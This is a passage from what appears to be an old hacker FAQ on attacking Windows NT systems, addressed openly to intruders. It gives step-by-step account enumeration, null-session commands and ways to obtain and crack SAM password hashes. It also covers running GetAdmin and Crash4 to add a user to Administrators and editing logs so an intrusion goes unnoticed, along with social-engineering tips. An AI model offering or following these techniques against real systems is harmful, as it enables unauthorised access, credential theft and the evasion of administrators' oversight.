  to send SYN packets. The source address of the client is forged to a
  non-existant host, and as long as the SYN packets are sent faster than
  the timeout rate of the TCP stack waiting for the time out, the
  resources of the service will be tied up.

  This is a simplified version of what exactly happens. For more
  elaborate details and sample Linux code for creating a flood, see
  Phrack 48 file 13 by daemon9.


  55..44..  WWhhaatt aarree ootthheerr ppooppuullaarr DDeenniiaall ooff SSeerrvviiccee aattttaacckkss??

  Most others involve ICMP packets (re: ping) and creating massive
  floods of ICMP traffic, or other packet malformations. Search the net
  for smurf.c or teardrop.c for more details.



  66..  MMiisscc IInnffoo

  This section contains miscellaneous information regarding hacking
  basics.


  66..11..  WWhhaatt iiss aa ""bbaacckkddoooorr""??

  A backdoor is simply a way back into a system that not only bypasses
  existing security to regain access, but may even defeat any additional
  security enhancements added onto a system.

  Backdoors can range from the simple to the exotic. Simple backdoors
  might include creating a new user account just for your intrusion
  needs, or taking over a little-used account. More complex backdoors
  may bypass regular access completely and involve trojans, such as a
  login program that gives you administrative access if you type in a
  special password.

  Backdoors can be chained together, which is the technique used by most
  hackers. This involves a combination of techniques. For example, one
  or more accounts that have basic user access may have had their
  passwords cracked, and one or more accounts may be created by the
  hacker. Once the system is accessed by the hacker, the hacker may
  activate some technique or exploit a system misconfiguration that
  allows greater access. Often a hacker will lower the defenses in
  certain areas by slightly altering system configuration files. Perhaps
  a trojan program has been installed that will open holes upon command
  by the hacker. Some of these techniques will be discussed in detail in
  the individual operating system sections of this FAQ.


  66..22..  WWhhyy ddoo II ccaarree aabboouutt aauuddiittiinngg,, aaccccoouunnttiinngg,, aanndd llooggggiinngg??

  Auditing, accounting, logging -- call it what you will, these are
  things used to create permanent or semi-permanent records of events on
  a system. Unfortunately these can record your intrusion activities,
  sometimes in explicit and evidence-worthy detail.  Therefore potential
  intruders should not only be aware of what record keeping is available
  (either as a regular feature of the system or as add-ons) and have
  possible methods for defeating such recordings.

  Some types of logging include simple text files with entries showing
  logins and logouts, maybe failed logins. Others show what programs
  were accessed, which programs were attempted to be run and the request
  failed, or keep track of an individual's disk usage. All can reveil
  info that can allow an administrator to reconstruct an attack.


  66..33..  WWhhaatt aarree ssoommee ddiiffffeerreenntt llooggggiinngg tteecchhnniiqquueess uusseedd bbyy AAddmmiinnss??

  Admins generally prefer to use simple logging techniques so as not to
  pile onto their current workload. Logs take up space. Large log files
  are sometimes very difficult to sift through as sys admins are looking
  for problems. These logs are usually stored in directories generally
  protected from casual viewing, or at least editing.


  66..44..  WWhhyy sshhoouulldd II nnoott jjuusstt ddeelleettee tthhee lloogg ffiilleess??

  Typically log files do not disappear. This might lead a curious sys
  admin to poke around looking for problems, and the paranoid sys admin
  to look for intruders. The logs should be edited if possible, or the
  entries made into them made to look as normal as possible.


  66..55..  WWhhaatt iiss aa bbuuffffeerr oovveerrffllooww??

  A buffer overflow is when a buffer was assigned by a programmer to
  hold variable data, and the variable data placed into that buffer is
  greater that the size of the initial assignment of the buffer.
  Depending on the operating system and exactly what the "extra" data
  overflowing the buffer is, this can be used by a hacker to cause
  portions of a system to fail, or even execute arbitrary code.

  Most buffer overflow exploits center around user-supplied data
  exceeding a buffer, and the extra data being executed on the stack to
  open up additional access. Buffer overflows exist on all major network
  operating systems.



  77..  NNTT BBaassiiccss

  This section deals with the basics and other background info to help
  prepare for NT hacking.

  77..11..  WWhhaatt aarree tthhee ccoommppoonneennttss ooff NNTT sseeccuurriittyy??

  There are several different components. Each has a role within the
  overall NT security model. Because of the amount and complexity of
  components in the security model, not only should the individual
  components be explored, but how they work together should be explored.


  Local Security Authority (LSA)
  ------------------------------



  This is also known as the Security Subsystem. It is the central
  component of NT security. It handles local security policy and user
  authentication. LSA also handles generating and logging audit
  messages.


  Security Account Manager (SAM)
  ------------------------------



  SAM handles user and group accounts, and provides user authentication
  for LSA.


  Security Reference Monitor (SRM)
  --------------------------------



  SRM enforces access validation and auditing for LSA. It checks user
  accounts as the user tries to access various files, directories, etc,
  and either allows or denies access.  Auditing messages are generated
  as a result. The SRM contains a copy of the access validation code to
  ensure that resources are protected uniformly throughout the system,
  regardless of resource type.


  User Interface (UI)
  -------------------



  An important part of the security model, the UI is mainly all that the
  end user sees, and is how most of the administration can be performed.


  77..22..  HHooww ddooeess tthhee aauutthheennttiiccaattiioonn ooff aa uusseerr aaccttuuaallllyy wwoorrkk??

  First, a user logs on. When this happens, NT creates a token object
  that represents that user. Each process the user runs is associated
  with this token (or a copy of it). The token-process combination is
  refered to as a subject. As subjects access objects such as files and
  directories, NT checks the subject's token with the Access Control
  List (ACL) of the object and determines whether to allow the access or
  not. This may also generate an audit message.


  77..33..  WWhhaatt iiss ""ssttaannddaalloonnee"" vvss.. ""wwoorrkkggrroouupp"" vvss.. ""ddoommaaiinn""??

  Each NT workstation participates in either a workgroup or a domain.
  Most companies will have NT workstations participate in a domain for
  management of the resource by the administrator.
  A domain is one or more servers running NT server with all of the
  servers functioning as a single system. The domain not only contains
  servers, but NT workstations, Windows for Workgroups machines, and
  even LAN Manager 2.x machines. The user and group database covers ALL
  of the resources of a domain.

  Domains can be linked together via trusted domains. The advantage of
  trusted domains is that a user only needs one user account and
  password to get to resources across multiple domains, and
  administrators can centrally manage the resources.

  A workgroup is simply a grouping of workstations that do not belong to
  a domain. A standalone NT workstation is a special case workgroup.

  User and group accounts are handled differently between domain and
  workgroup situations.  User accounts can be defined on a local or
  domain level. A local user account can only logon to that local
  computer, while a domain account can logon from any workstation in the
  domain.

  Global group accounts are defined at a domain level. A global group
  account is an easy way to grant access to a subset of users in a
  domain to, say, a single directory or file located on a particular
  server within the domain. Local group accounts are defined on each
  computer. A local group account can have global group accounts and
  user accounts as members.

  In a domain, the user and group database is "shared" by the servers.
  NT workstations in the domain DO NOT have a copy of the user and group
  database, but can access the database. In a workgroup, each computer
  in the workgroup has its own database, and does not share this
  information.


  77..44..  WWhhaatt iiss aa SSeerrvviiccee PPaacckk??

  Microsoft maintains a large online database of fixes for operating
  systems and applications. These fixes are refered to as Service Packs.
  NT has its share, and typically the latest Service Pack has the latest
  fixes, including security patches.

  Installing a Service Pack is NOT something to be taken lightly -- to
  turn on or off some features involves some Registry editing.
  Installation can in some circumstances disable or cause conflicts.
  Often after a new product has been loaded, even a Microsoft product,
  you must reinstall the Service Pack. For this reason, LAN
  administrators often neglect the timely installation of Service Packs.
  For the hacker, this is a decided advantage -- especially if the site
  has numerous NT servers and workstations in need of patching. One day
  maybe Microsoft will make Service Pack installation a little less
  painless, but until then you will find MANY locations will be either
  under-patched or not patched at all.

  Typically Service Packs are fairly well tested, although this is no
  guarantee everything is "fixed". Admins should not place 100% of their
  faith in them, but then hackers should not underestimate their value
  in closing holes.


  77..55..  WWhhaatt iiss aa HHoott FFiixx??

  A Hot Fix is what is released between Service Pack releases. A Hot Fix
  is generally released to address a specific problem or condition. Some
  Hot Fixes may have a prerequisite of a certain Service Pack, and are
  typically included in the next Service Pack.

  Once again, some of the Hot Fixes are downright dangerous to monkey
  around with, and many LAN folks will simply neglect installation
  especially at large NT shops. And once again this is good news for the
  hacker.

  Hot Fixes are not as well tested as the Service Packs are -- often
  they are released after headline-grabbing security flaws are
  announced, so they are often rushed to press.


  77..66..  WWhheerree aarree SSeerrvviiccee PPaacckkss aanndd HHoott FFiixxeess??

  The main location for Service Packs can be found at
  ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/xxx/yyy/zzz
  where xxx is the country, yyy is the NT version, and zzz is the
  Service Pack. For example, this is the address for the USA version of
  Service Pack 3 for NT 4:

  ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/ussp3

  The main location for Hot Fixes can be found at
  ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/xxx/yyy/zzz
  where xxx is the country, yyy is the NT version, and zzz is the Hot
  Fix directory. For example, this is the address for the USA versions
  of Hot Fixes for NT 4 if Service Pack 3 is already installed:

  ftp://ftp.microsoft.com/bussys/winnt/winnt-
  public/fixes/usa/nt40/hotfixes-postSP3


  77..77..  WWhhaatt''ss wwiitthh ""CC22 cceerrttiiffiiccaattiioonn""??

  I'm not going to get into a bunch of detail on this. There are far
  better places to go for the info, but I will state this -- running the
  c2config utility to "lock down" your system will not protect you if
  you want to run third party software, use the floppy drive, or connect
  to the network. It is simply a marketing tactic used by Microsoft. The
  C2 tested configuration had no network access and no floppy drive. Who
  wants to use that?

  And keep in mind that C2 certification does not consider a number of
  common sense items such as a hard-to-guess password. I can see some
  value in running the c2config utility and "opening up" the system as
  needed to make it useable, but this is a lot of work and beyond the
  scope of what I'm discussing here.


  77..88..  AArree tthheerree aarree iinntteerreessttiinngg ddeeffaauulltt ggrroouuppss ttoo bbee aawwaarree ooff??

  There are a number of built-in local groups can do various functions,
  some which would be better off being left to the Administrator.
  Administrators can do everything, but the following groups' members
  can do a few extra items (I only verified this on 4.0):


  +o  Server Operators: do a shutdown, even remotely; reset the system
     time; perform backups and restores.

  +o  Backup Operators: do a shutdown; perform backups and restores.

  +o  Account Operators: do a shutdown.

  +o  Print Operators: do a shutdown.

  Also members of these groups can login at the console. As you explore
  the NT sections of this FAQ and possibly someone else's server,
  remember these permissions. Gaining a Server Operator account and
  placing a trojan that activates after a remote shutdown could get you
  Administrator.


  77..99..  WWhhaatt aarree tthhee ddeeffaauulltt ddiirreeccttoorryy ppeerrmmiissssiioonnss??

  Like the previous question, I only verified these on 4.0. And
  remember, Administrators are deities. Otherwise, if it isn't here, the
  group doesn't have access.

  \(root), \SYSTEM32, \WIN32APP - Server Operators and Everyone can read
  and execute files, display permissions on files, and do some changing
  on file attributes.

  \SYSTEM32\CONFIG - Everyone can list filenames in this directory.

  \SYSTEM32\DRIVERS, \SYSTEM\REPL - Server Operators have full access,
  Everyone has read access.

  \SYSTEM32\SPOOL - Server Operators and Print Operator have full
  access, Everyone has read access.

  \SYSTEM32\REPL\EXPORT - Server Operators can read and execute files,
  display permissions on files, and do some changing on file attributes.
  Replicator has read access.

  \SYSTEM32\REPL\IMPORT - Server Operators and Replicator can read and
  execute files, display permissions on files, and do some changing on
  file attributes. Everyone has read access.

  \USERS - Account Operators can read, write, delete, and execute.
  Everyone can list filenames in this directory.

  \USERS\DEFAULT - Everyone has read, write, and execute.


  77..1100..  AArree tthheerree aannyy ssppeecciiaall rreessttrriiccttiioonnss ssuurrrroouunnddiinngg tthhee AAddmmiinniissttrraa--
  ttiivvee TToooollss ggrroouupp iinn PPrreesseennttaattiioonn MMaannaaggeerr??

  The following tools have the following default group restrictions in
  4.0:

  Disk Administrator - Must be a member of the Administrators group.

  Event Log - Anyone can run Event Viewer, but only members of the
  Administrators group can clear logs or view the Security Log.

  Backup - Anyone can backup a file they have normal access to, but only
  the Administrators and Backup Operators can over override normal
  access.

  User Manager - Users and Power Users can create and manage local
  groups.

  User Manager for Domains - Users and Power Users can create and manage
  local groups if logged on at the server console, otherwise it is
  restricted to Administrators and Account Operators.

  Server Manager - Only Administrators, Domain Admins, and Server
  Operators can use this on domains they have an account on. Account
  Operators can only add new accounts to the domain. Some features in
  Server Manager can only be used by the Administrators and Domain
  Admins.


  77..1111..  WWhhaatt iiss tthhee RReeggiissttrryy??

  The Registry is the central core registrar for Windows NT. Each NT
  workstation or server has its own Registry, and each one contains info
  on the hardware and software of the computer it resides on. For
  example, comm port definitions, Ethernet card settings, desktop
  setting and profiles, and what a particular user can and cannot do are
  stored in the Registry. Remember those ugly system INI files in
  Windows 3.1? Well, they are all included with even more fun stuff into
  one big database called the Registry in NT.

  Of interest to hackers is the fact that all access control and
  assorted parameters are located in the Registry. While I'm tempted to
  discuss just that portion of the Registry, I'll briefly cover
  everything for completeness but put the fun stuff up front.

  The Registry contains thousands of individual items of data, and are
  grouped together into "keys" or some type of optional value. These
  keys are grouped together into subtrees -- placing like keys together
  and making copies of others into separate trees for more convenient
  system access.

  The Registry is divided into four separate subtrees. These subtrees
  are called HKEY_CLASSES_ROOT, HKEY_CURRENT_USER, HKEY_LOCAL_MACHINE,
  and HKEY_USERS. We'll go through them from most important to the
  hacker to least important to the hacker.

  First and formost is the HKEY_LOCAL_MACHINE subtree. It contains five
  different keys.  These keys are as follows:


  +o  SAM and SECURITY - These keys contain the info such as user rights,
     user and group info for the domain (or workgroup if there is no
     domain), and passwords. In the NT hacker game of capture the flag,
     this is the flag. Bag this and all bets are off.

     The keys are binary data only (for security reasons) and are
     typically not accessible unless you are an Administrator or in the
     Administrators group. It is easier to copy the data and play with
     it offline than to work on directly. This is discussed in a little
     more detail in the ``NT Password'' section.

  +o  HARDWARE - this is a storage database of throw-away data that
     describes the hardware components of the computer. Device drivers
     and applications build this database during boot and update it
     during runtime (although most of the database is updated during the
     boot process). When the computer is rebooted, the data is built
     again from scratch. It is not recommended to directly edit this
     particular database unless you can read hex easily.

     There are three subkeys under HARDWARE, these are the Description
     key, the DeviceMap key, and the ResourceMap key. The Description
     key has describes each hardware resource, the DeviceMap key has
     data in it specific to individual groups of drivers, and the
     ResourceMap key tells which driver goes with which resource.

  +o  SYSTEM - This key contains basic operating stuff like what happens
     at startup, what device drivers are loaded, what services are in
     use, etc. These are split into ControlSets which have unique system
     configurations (some bootable, some not), with each ControlSet
     containing service data and OS components for that ControlSet. Ever
     had to boot from the "Last Known Good" configuration because
     something got hosed? That is a ControlSet stored here.

  +o  SOFTWARE - This key has info on software loaded locally. File
     associations, OLE info, and some miscellaneous configuration data
     is located here.

  The second most important main key is HKEY_USERS. It contains a subkey
  for each local user who accesses the system, either locally or
  remotely. If the server is a part of a domain and logs in across the
  network, their subkey is not stored here, but on a Domain Controller.
  Things such as Desktop settings and user profiles are stored here.

  The third and fourth main keys, HKEY_CURRENT_USER and
  HKEY_CLASSES_ROOT, contain copies of portions of HKEY_USERS and
  HKEY_LOCAL_MACHINE respectively. HKEY_CURRENT_USER contains exactly
  would you would expect, a copy of the subkey from HKEY_USERS of the
  currently logged in user. HKEY_CLASSES_ROOT contains a part of
  HKEY_LOCAL_MACHINE, specifically from the SOFTWARE subkey. File
  associations, OLE configuration and dependency information.


  77..1122..  WWhhaatt aarree hhiivveess??

  Hives are the major subdivisions of all of these subtrees, keys,
  subkeys, and values that make up the Registry. They contains "related"
  data. Look, I know what you might be thinking, but this is just how
  Microsoft divided things up -- I'm just relaying the info, even I
  don't know exactly what all the advantages to this setup are. ;-)

  All hives are stored in %systemroot%\SYSTEM32\CONFIG. The major hives
  and their files are as follows:


  Hive                         File      Backup File
  ---------------------------  ------    ------------

  HKEY_LOCAL_MACHINE\SOFTWARE  SOFTWARE  SOFTWARE.LOG
  HKEY_LOCAL_MACHINE\SECURITY  SECURITY  SECURITY.LOG
  HKEY_LOCAL_MACHINE\SYSTEM    SYSTEM    SYSTEM.LOG
  HKEY_LOCAL_MACHINE\SAM       SAM       SAM.LOG
  HKEY_CURRENT_USER            USERxxx   USERxxx.LOG
                               ADMINxxx  ADMINxxx.LOG
  HKEY_USERS\.DEFAULT          DEFAULT   DEFAULT.LOG



  Hackers should look for the SAM file, with the SAM.LOG file as a
  secondary target. This contains the password info.


  77..1133..  WWhhyy iiss tthhee RReeggiissttrryy lliikkee tthhiiss aanndd wwhhyy ddoo II ccaarree??

  Who the hell knows why it's this way? ;-)

  The main reason is a step towards central administration and combining
  all that crap from SYSTEM.INI, WIN.INI, and other "legacy" Windows 3.x
  config stuff into one database.  Then nice and neat individual GUI
  applications could be used to manipulate the data contained inside.
  And with the idea of a "domain" there are some "centralized"
  functionalities that are a little more convenient.

  Is it better than Windows 3.x? This is debatable, although in my
  personal opinion I'd say yes. Were the design functions met? Probably
  not. While the Registry tries to be all things to all subcomponents of
  a domain, it does tend to smell like there were too many cooks in
  Microsoft's kitchen and simply not enough spoons. Some functions seem
  to be well suited for the Registry, some not. It is certainly not
  "portable" like Novell's NDS, that is you will probably never find the
  Registry running on a Unix system, whereas Novell's NDS is a much
  simpler design and is quite portable. Both schemes have their place --
  NDS does not contain or manage OS info at the Desktop level and the
  Registry does.

  Who wins? My guess is the people currently offering training classes
  in any modern OS are probably loving this because it is so complex,
  therefore it is guaranteed income.  And hackers also win, because this
  is a complex environment where one wrong parameter setting or one Hot
  Fix not loaded could mean free and easy access.

  My main advice to hackers is to play around with the Registry on home
  systems before the attack, because as you go further and further into
  an NT environment, you stand more chances of screwing things up, which
  is an easy way to make yourself known.



  88..  NNTT AAccccoouunnttss

  The following section deals with Accounts on NT systems.


  88..11..  WWhhaatt aarree ccoommmmoonn aaccccoouunnttss aanndd ppaasssswwoorrddss iinn NNTT??

  There are two accounts that come with NT out of the box --
  administrator and guest. In a network environment, I have run into
  local administrator access unpassworded, since the Sys Admin thought
  that global accounts ruled over local ones. Therefore it is possible
  to gain initial access to an NT box by using its local administrator
  account with no password.

  Guest is another common unpassworded account, although recent
  shipments of NT disable the account by default. While it is possible
  that some companies will delete the guest account, some applications
  require it. If Microsoft Internet Studio needs to access data on
  another system, it will use guest for that remote access.

  NetFRAME Systems Engineers use "aaa" as the default password for new
  installs.


  88..22..  WWhhaatt iiff tthhee SSyyss AAddmmiinn hhaass rreennaammeedd tthhee AAddmmiinniissttrraattoorr aaccccoouunntt??

  It is possible that a Sys Admin will create a new account, give that
  account the same access as the god account, and then remove part of
  the access to the former god account. The idea here is that if you
  don't know the real god account name, you can't get in with god
  priviledges.

  As one might expect, this could break certain programs or functions.
  For example, what makes root the Unix god is the fact that the UID
  (User ID number) and GID (Group ID number) are both zero. Any other
  account set this way is god, and more than one can exist on a single
  system. But some programs and scripts may not look to see if the user
  running them is UID zero, they might possibly look to see if the
  user's name is root. Since often Sys Admins have a stack of stuff to
  do anyway, monkeying around with the root account is usually not done.
  If you can gain access to even a limited access account like a guest
  account, a simple grep "0:0" /etc/passwd should let you see whose god
  equiv or not.

  With NT typing "NBTSTAT -A targetipaddress" will give you the new
  Administrator account, assuming the god account is logged in. A bit of
  social engineering could get them to log in as well. Nbtstat will also
  give you other useful information such as services running, the NT
  domain name, the nodename, and the ethernet hardware address.

  Also see section From The Network which discusses a bug that allows
  you to get the new Administrator account name.

  Renaming or assigning the same rights to a different user name than
  Admin is more common with Netware than with NT, and I know of NO
  program that checks to see what the user name is (at least on NT). The
  paradigm is to check if the rights allow the action, not to see who is
  really running it.


  88..33..  HHooww ccaann II ffiigguurree oouutt vvaalliidd aaccccoouunntt nnaammeess ffoorr NNTT??

  If you are at a server and it is a domain controller (or you have
  simply hooked one up), try these steps to get a list of accounts on
  the target machine:


  1. From the USER MANAGER, create a trusting relationship with the
     target.

  2. Enter whatever when asked for a password. Don't fret when it
     doesn't work. The target is now on your trusting list.

  3. Launch NT Explorer and right click on any folder.

  4. Select SHARING.

  5. From the SHARED window, select ADD.

  6. From the ADD menu, select your target NT server.

  7. You will now see the entire group listing of the target.

  8. Select SHOW USERS and you will see the entire user listing,
     including full names and descriptions.

  This gives you a list of user accounts to target for individual
  attack. By studying the group memberships, you can even make decisions
  about who will have more privileges than others.


  88..44..  WWhhaatt ccaann nnuullll sseessssiioonnss ttoo aann NNTT mmaacchhiinnee tteellll mmee??

  By establishing a null session from your NT attacking machine to the
  target server, there are a few different things you can do to get
  account info:

  net use \\server_name\ipc$""/user:""

  if you see "The command completed successfully" then you are
  connected. Using local.exe and global.exe from the NT Resource Kit
  shold get you some usefull info. Here are two examples.

  Get the local administrators on the target:

  local anmistrators \\server_name

  Get the members of the group Domain Admins:

  global "domain admins" \\server_name

  For even more information, rum DumpACL and go for the user and group
  reports. This should give you every account on the box, plus a host of
  other useful info, such as who logged in last, if a password is
  required, who is in what group, etc. From this you can target specific
  accounts to attempt access.
  99..  NNTT PPaasssswwoorrddss

  This section deals with NT passwords.


  99..11..  HHooww ddoo II aacccceessss tthhee ppaasssswwoorrdd ffiillee iinn NNTT??

  The location of what you need is in \\WINNT\SYSTEM32\CONFIG\SAM which
  is the location of the security database.  This is usually world
  readable by default, but locked since it is in use by system
  compotents. It is possible that there are SAM.SAV files which could be
  readable. If so, these could be obtained for the purpose of getting
  password info.

  During the installation of NT a copy of the password database is put
  in \\WINNT\REPAIR. Since it was just installed, only the Administrator
  and Guest accounts will be there, but maybe Administrator is enough --
  especially if the Administrator password is not changed after
  installation.

  If the Sys Admin updates their repair disks, or you get a hold of a
  copy of the repair disks, you can get password database. The file is
  SAM._ in the ERD directory.

  If you are insane, you can go poking around in the SAM secret keys.
  First, schedule service to logon as LocalSystem and allow it to
  interact with the desktop, and then schedule an interactive regedt32
  session. The regedt32 session will be running as LocalSystem and you
  can play around in the secret keys. However, if you change some stuff
  this might be very bad. You have to be Administrator to do this,
  though, so for the hacker you need to walk up to the machine while the
  Administrator is logged in and distract them by telling them they're
  giving away Microsoft t-shirts in the lobby (this doesn't always work
  ;-). Of course you can simply use a couple of different utilities for
  dumping the password hashes out, like PWDUMP or even running
  L0phtcrack (which has pwdump code built in) if you are in as
  Administrator.


  99..22..  WWhhaatt ddoo II ddoo wwiitthh aa ccooppyy ooff SSAAMM??

  You get passwords. First use a copy of SAMDUMP.EXE to extract the user
  info out of it. You do not need to import this data into the Registry
  of your home machine to play with it. You can simply load it up into
  one of the many applications for cracking passwords, such as
  L0phtCrack. See section 3 for more info on NT passwords and cracking
  them.


  99..33..  WWhhaatt''ss tthhee ffuullll ssttoorryy wwiitthh NNTT ppaasssswwoorrddss??

  Two one-way hashes are stored on the server -- a Lan Manager hash, and
  a Windows NT hash. Lan Manager uses a 14 byte password. If the
  password is less than 14 bytes, it is concantenated with 0's. It is
  converted to upper case, and split into 7 byte halves. An 8 byte odd
  parity DES key is constructed from each 7 byte half. Each 8 byte DES
  key is encrypted with a "magic number" (0x4B47532140232425 encrypted
  with a key of all 1's). The results of the magic number encryption are
  concantenated into a 16 byte one way hash value. This value is the Lan
  Manager one-way hash of the password. A regular Windows NT password is
  derived by converting the user's password to Unicode, and using MD4 to
  get a 16 byte value. This value is the NT one-way hash of the
  password.

  The reason there are two hashes is because the Lan Manager hash is for
  legacy support. In an all-NT environment it would be desirable to turn
  off Lan Man passwords. Since Lan Man uses a weakened DES key and
  converts all alpha characters to uppercase, it is easier to crack. The
  regular NT method uses a stronger algorithm and allows mixed-cased
  passwords.

  So to crack NT passwords, the username and the corresponding one way
  hashes (Lan Man and NT) need to be extracted from the password
  database. Instead of going out and writing some code to do this,
  simply get a copy of Jeremy Allison's PWDUMP, which goes through SAM
  and gets the information for you. As previously stated, PWDUMP does
  require that you are an Administrator to get stuff out of the
  registry.

  Since Microsoft does not ``salt'' during hash generation, once a
  potential password has generated a hash it can be checked against ALL
  accounts. All current NT crackers take advantage of this. Several
  freeware and shareware products are available on the Internet. They
  include:


  Cracker          Author(s)           Compiles on...  Notes
  ---------------- ------------------- --------------- ----------------------
  c50a-nt-0.20.tgz Bob Tinsley         Unix            Dictionary cracker, a
                                                       port of Alec Muffett's
                                                       Crack 5.0 for Unix.

  lc201exe.zip     Mudge and Weld Pond Unix, includes  Best of the bunch, can
                    from the L0pht     GUI NT version  do brute force very
                                       and DOS version quickly, also can use
                                                       a dictionary.

  NTCrack.tar.gz   Jonathan Wilkins    Unix, includes  Dictionary cracker, on
                                       NT version      it's second revision.




  99..44..  HHooww ddooeess bbrruuttee ffoorrccee ppaasssswwoorrdd ccrraacckkiinngg wwoorrkk wwiitthh NNTT??

  As previously pointed out, the Lan Manager password concantenated to
  14 bytes, and split in half. The halves can be worked on individually.
  If the password was originally only 7 characters or less, that second
  half is always 0xAAD3B435B51404EE. To further ease brute force
  cracking, since a substantial reduction in bits occurs during the
  deriving of the 8 byte DES key from the 7 byte key, less keys have to
  be tried. Also since the password is converted to upper case before
  one way encrypting it, Lan Manager password cracking does not have to
  take into consideration the possibility of lower case letters.
  L0phtcrack incorporates techniques to exploit all of these
  possibilities.

  By cracking the Lan Man password first, the NT password can be brute
  forced to determine the proper case of each alpha character.
  L0phtcrack 2.01, the latest version as of this writing, is lightning
  fast.


  99..55..  HHooww ddooeess ddiiccttiioonnaarryy ppaasssswwoorrdd ccrraacckkiinngg wwoorrkk wwiitthh NNTT??

  All three of the password crackers mentioned can do dictionary
  attacks. Only L0phtcrack does not use rules to permutate the wordlist.
  It is assumed you have pre-treated the wordlist with L0phtcrack, and
  quite frankly L0phtcrack is blindingly fast in a dictionary crack
  anyway.


  99..66..  II lloosstt tthhee NNTT AAddmmiinniissttrraattoorr ppaasssswwoorrdd.. WWhhaatt ddoo II ddoo??

  Use the Offline NT Password Editor by Petter Nordahl-Hagen. You need
  to download Petter's code to your Linux machine (you DO have one of
  those, don't you?) and compile it using a libDES and MD4 library. Now
  mount the NT drive read/write and follow the instructions in the
  readme. The instructions are pretty easy to follow, especially if you
  know enough to get to the point to use them ;-)

  Actually, to make things easier, Petter has built a bootdisk image
  that steps you through the entire thing. I'll be the first to admit
  that Petter's code is as dangerous as hell, but it does work and I had
  no problems. YMMV.

  Consider using GetAdmin.exe (in the NT Attack Section) and go from
  there if you are too paranoid or fearful of booting up Linux to get to
  an NT machine.


  99..77..  HHooww ddooeess aa SSyyss AAddmmiinn eennffoorrccee bbeetttteerr ppaasssswwoorrddss??

  There are several freeware utilities that allow for password changing
  with rules enforced. These range from the simple passwd utility by
  Alex Frink to Microsoft's own utilities. The NT Server 4.0 Resource
  Kit has a utility called Passprop that enforces random passwords. Also
  on Service Pack 2 is a DLL called PASSFILT that will does basically
  the same thing.


  99..88..  CCaann aann SSyyss AAddmmiinn pprreevveenntt//ssttoopp SSAAMM eexxttrraaccttiioonn??

  As long as you can get in as Administrator, you are basically
  vulnerable. Microsoft has gradually increased its security for the SAM
  files and the hashes, but as things like L0phtCrack are quickly
  improved and Microsoft insists on backward compatibility with LAN
  Manager-style logins, things will be vulnerable. In fact, the latest
  L0phtCrack can actually sniff the network, store the data exchanged
  between client and server, and crack the hashes traced.  So for you
  sys admins out there, keep absolutely current of Service Packs and Hot
  Fixes. For you hackers out there, well, it's a big bright world ;-)


  99..99..  HHooww iiss ppaasssswwoorrdd cchhaannggiinngg rreellaatteedd ttoo ""llaasstt llooggiinn ttiimmee""??

  Let's say an admin is checking the last time certain users have logged
  in by doing a NET USER /DOMAIN. Is the info accurate? Most of the time
  it will NOT be.

  Most users do not login directly to the Primary Domain Controller
  (PDC), they login to a Backup Domain Controller (BDC). BDCs do NOT
  contain readonly versions of SAM, they contain read-write versions. To
  keep the already ungodly amount of network traffic down, BDCs do not
  tell the PDC that they have an update of the last login time until a
  password change has been done. And the NET USER /DOMAIN command checks
  the PDC, so last login time returned from this command could be wildly
  off (it could even show NEVER).

  As a hacker, if you happen to know that password aging is not
  enforced, then you can bet that last login times will probably not be
  very accurate.






  1100..  NNTT CCoonnssoollee AAttttaacckkss

  This section deals with attacking at the NT Console.


  1100..11..  WWhhaatt ddooeess ddiirreecctt ccoonnssoollee aacccceessss ffoorr NNTT ggeett mmee??

  First off, a number of ``NT client attacks'' may not work if your
  target system does not allow logins except at the console. Any brute
  force attack will obviously work much quicker if you are not going
  across the network.


  1100..22..  WWhhaatt aabboouutt NNTT''ss ffiillee ssyysstteemm??

  Obviously gaining access to the file system from the console is much
  easier than across a network, especially if the Sys Admin is trying to
  keep you out.

  Try booting up the system from an MS-DOS diskette, and running
  NTFSDOS.EXE to access the NTFS file system. Currently this software is
  read only, so it is only good for getting copies of existing data.
  Linux is another OS that will read an NTFS file system, but "simply
  loading Linux" on a "spare partition" is usually impractical, and
  hardly simple if you are not familiar with it. See the question
  regarding recovering a ``lost NT password'' that uses Linux in the
  recovery process. I mean, if you log in as Administrator then you
  definitely have access to the file system ;-).


  1100..33..  WWhhaatt iiss NNeettmmoonn aanndd wwhhyy ddoo II ccaarree??

  NetMon is Microsoft's Network Monitor. It is a sniffer that runs under
  NT, and being a sniffer if you have to ask why you care, well, never
  mind ;-)

  NetMon is protected by a password scheme on version 3.51 that has
  nothing to do with regular NT security. In Phrack 48 file 15, AON and
  daemon9 have not only cracked the encryption scheme, they have written
  exploits for it as well. Check the resources section for the location
  of the exploit code (it includes full source including a Unix version
  in case you do not have an NT compiler).

  By the way, compared to other commercial sniffers, this early version
  of NetMon sucks.  It would only look at traffic to and from the
  machine you are running it on. However, newer versions of NetMon
  supposedly do actual promiscuous sniffing and is a more useful tool. I
  have not seen this new NetMon but others report good things about it.




  1111..  NNTT CClliieenntt AAttttaacckkss

  This section deals with attacking NT remotely.


  1111..11..  WWhhaatt iiss GGeettAAddmmiinn..eexxee aanndd CCrraasshh44..eexxee??

  GetAdmin.exe is a program written by Konstantin Sobolev. It exploits a
  subfunction in NtAddAtom that does not check the address of the
  output. By altering where the output can be written to, GetAdmin adds
  a user to the Administrators group. It works on NT 4.0.

  The easiest way to use it is to simply copy it to \TEMP (along with
  its DLL, GASYS.DLL) and run it like so: GETADMIN GUEST (or whatever
  account you wish to add).

  This will add Guest to the Administrators group.

  GetAdmin will add domain accounts on a primary domain controller and
  even other domain accounts. Since it is a command line tool, it will
  work across a telnet session if you've uploaded it to the target.

  There is a post SP3 Hot Fix available from Microsoft that defeats this
  if loaded.

  Crash4.exe will allow GetAdmin to work on SP3 patched machines. Simply
  run Crash4 and followed by GetAdmin as previously mentioned. Crash4
  rearranges a few things on the stack to allow GetAdmin to work.


  1111..22..  SShhoouulldd II eevveenn ttrryy ffoorr llooccaall aaddmmiinniissttrraattoorr aacccceessss??

  Oh yes. A lot of NT administrators do not understand that when an NT
  box joins a domain, if they left that administrator password blank, it
  doesn't get "filled in" or "overwritten". Belonging to a domain does
  NOT turn off local users.

  If you gain local administrator, try some of these tricks (these will
  work with the default settings after installation on the target):


  +o  NBTSTAT -A x.x.x.x (plug in the IP address of the box you're after)

  +o  Add the machine name this returns to your LMHOSTS file.

  +o  If you are not on an NT 4.x machine, type NBTSTAT -R to refresh the
     NetBios names.

